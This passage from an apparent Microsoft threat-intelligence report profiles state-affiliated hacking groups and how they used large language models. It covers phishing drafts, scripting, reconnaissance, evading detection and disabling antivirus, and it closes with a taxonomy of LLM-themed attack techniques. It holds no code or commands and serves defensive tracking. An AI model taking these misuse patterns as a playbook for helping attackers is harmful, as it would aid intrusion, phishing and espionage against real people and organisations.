• LLM-informed reconnaissance: Interacting with LLMs to identify think tanks, government organizations, or experts on North Korea that have a focus on defense issues or North Korea’s nuclear weapon’s program.

All accounts and assets associated with Emerald Sleet have been disabled.

Crimson Sandstorm

Crimson Sandstorm (CURIUM) is an Iranian threat actor assessed to be connected to the Islamic Revolutionary Guard Corps (IRGC). Active since at least 2017, Crimson Sandstorm has targeted multiple sectors, including defense, maritime shipping, transportation, healthcare, and technology. These operations have frequently relied on watering hole attacks and social engineering to deliver custom .NET malware. Prior research also identified custom Crimson Sandstorm malware using email-based command-and-control (C2) channels. Crimson Sandstorm overlaps with the threat actor tracked by other researchers as Tortoiseshell, Imperial Kitten, and Yellow Liderc.

The use of LLMs by Crimson Sandstorm has reflected the broader behaviors that the security community has observed from this threat actor. Interactions have involved requests for support around social engineering, assistance in troubleshooting errors, .NET development, and ways in which an attacker might evade detection when on a compromised machine. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-supported social engineering: Interacting with LLMs to generate various phishing emails, including one pretending to come from an international development agency and another attempting to lure prominent feminists to an attacker-built website on feminism. 
• LLM-enhanced scripting techniques: Using LLMs to generate code snippets that appear intended to support app and web development, interactions with remote servers, web scraping, executing tasks when users sign in, and sending information from a system via email.
• LLM-enhanced anomaly detection evasion: Attempting to use LLMs for assistance in developing code to evade detection, to learn how to disable antivirus via registry or Windows policies, and to delete files in a directory after an application has been closed.

All accounts and assets associated with Crimson Sandstorm have been disabled.

Charcoal Typhoon

Charcoal Typhoon (CHROMIUM) is a Chinese state-affiliated threat actor with a broad operational scope. They are known for targeting sectors that include government, higher education, communications infrastructure, oil & gas, and information technology. Their activities have predominantly focused on entities within Taiwan, Thailand, Mongolia, Malaysia, France, and Nepal, with observed interests extending to institutions and individuals globally who oppose China’s policies. Charcoal Typhoon overlaps with the threat actor tracked by other researchers as Aquatic Panda, ControlX, RedHotel, and BRONZE UNIVERSITY.

In recent operations, Charcoal Typhoon has been observed interacting with LLMs in ways that suggest a limited exploration of how LLMs can augment their technical operations. This has consisted of using LLMs to support tooling development, scripting, understanding various commodity cybersecurity tools, and for generating content that could be used to social engineer targets. Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Engaging LLMs to research and understand specific technologies, platforms, and vulnerabilities, indicative of preliminary information-gathering stages.
• LLM-enhanced scripting techniques: Utilizing LLMs to generate and refine scripts, potentially to streamline and automate complex cyber tasks and operations.
• LLM-supported social engineering: Leveraging LLMs for assistance with translations and communication, likely to establish connections or manipulate targets.
• LLM-refined operational command techniques: Utilizing LLMs for advanced commands, deeper system access, and control representative of post-compromise behavior.

All associated accounts and assets of Charcoal Typhoon have been disabled, reaffirming our commitment to safeguarding against the misuse of AI technologies.

Salmon Typhoon

Salmon Typhoon (SODIUM) is a sophisticated Chinese state-affiliated threat actor with a history of targeting US defense contractors, government agencies, and entities within the cryptographic technology sector. This threat actor has demonstrated its capabilities through the deployment of malware, such as Win32/Wkysol, to maintain remote access to compromised systems. With over a decade of operations marked by intermittent periods of dormancy and resurgence, Salmon Typhoon has recently shown renewed activity. Salmon Typhoon overlaps with the threat actor tracked by other researchers as APT4 and Maverick Panda.

Notably, Salmon Typhoon’s interactions with LLMs throughout 2023 appear exploratory and suggest that this threat actor is evaluating the effectiveness of LLMs in sourcing information on potentially sensitive topics, high profile individuals, regional geopolitics, US influence, and internal affairs. This tentative engagement with LLMs could reflect both a broadening of their intelligence-gathering toolkit and an experimental phase in assessing the capabilities of emerging technologies.

Based on these observations, we map and classify these TTPs using the following descriptions:

• LLM-informed reconnaissance: Engaging LLMs for queries on a diverse array of subjects, such as global intelligence agencies, domestic concerns, notable individuals, cybersecurity matters, topics of strategic interest, and various threat actors. These interactions mirror the use of a search engine for public domain research.
• LLM-enhanced scripting techniques: Using LLMs to identify and resolve coding errors. Requests for support in developing code with potential malicious intent were observed by Microsoft, and it was noted that the model adhered to established ethical guidelines, declining to provide such assistance.
• LLM-refined operational command techniques: Demonstrating an interest in specific file types and concealment tactics within operating systems, indicative of an effort to refine operational command execution.
• LLM-aided technical translation and explanation: Leveraging LLMs for the translation of computing terms and technical papers.

Salmon Typhoon’s engagement with LLMs aligns with patterns observed by Microsoft, reflecting traditional behaviors in a new technological arena. In response, all accounts and assets associated with Salmon Typhoon have been disabled.

In closing, AI technologies will continue to evolve and be studied by various threat actors. Microsoft will continue to track threat actors and malicious activity misusing LLMs, and work with OpenAI and other partners to share intelligence, improve protections for customers and aid the broader security community.

Appendix: LLM-themed TTPs

Using insights from our analysis above, as well as other potential misuse of AI, we’re sharing the below list of LLM-themed TTPs that we map and classify to the MITRE ATT&CK® framework or MITRE ATLAS™ knowledgebase to equip the community with a common taxonomy to collectively track malicious use of LLMs and create countermeasures against:

• LLM-informed reconnaissance: Employing LLMs to gather actionable intelligence on technologies and potential vulnerabilities.
• LLM-enhanced scripting techniques: Utilizing LLMs to generate or refine scripts that could be used in cyberattacks, or for basic scripting tasks such as programmatically identifying certain user events on a system and assistance with troubleshooting and understanding various web technologies.
• LLM-aided development: Utilizing LLMs in the development lifecycle of tools and programs, including those with malicious intent, such as malware.
• LLM-supported social engineering: Leveraging LLMs for assistance with translations and communication, likely to establish connections or manipulate targets.
• LLM-assisted vulnerability research: Using LLMs to understand and identify potential vulnerabilities in software and systems, which could be targeted for exploitation.
• LLM-optimized payload crafting: Using LLMs to assist in creating and refining payloads for deployment in cyberattacks.
• LLM-enhanced anomaly detection evasion: Leveraging LLMs to develop methods that help malicious activities blend in with normal behavior or traffic to evade detection systems.
• LLM-directed security feature bypass: Using LLMs to find ways to circumvent security features, such as two-factor authentication, CAPTCHA, or other access controls.
• LLM-advised resource development: Using LLMs in tool development, tool modifications, and strategic operational planning.

Learn more

Read the sixth edition of Cyber Signals, spotlighting how we are protecting AI platforms from emerging threats related to nation-state cyberthreat actors: Navigating cyberthreats and strengthening defenses in the era of AI.

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog: https://aka.ms/threatintelblog.

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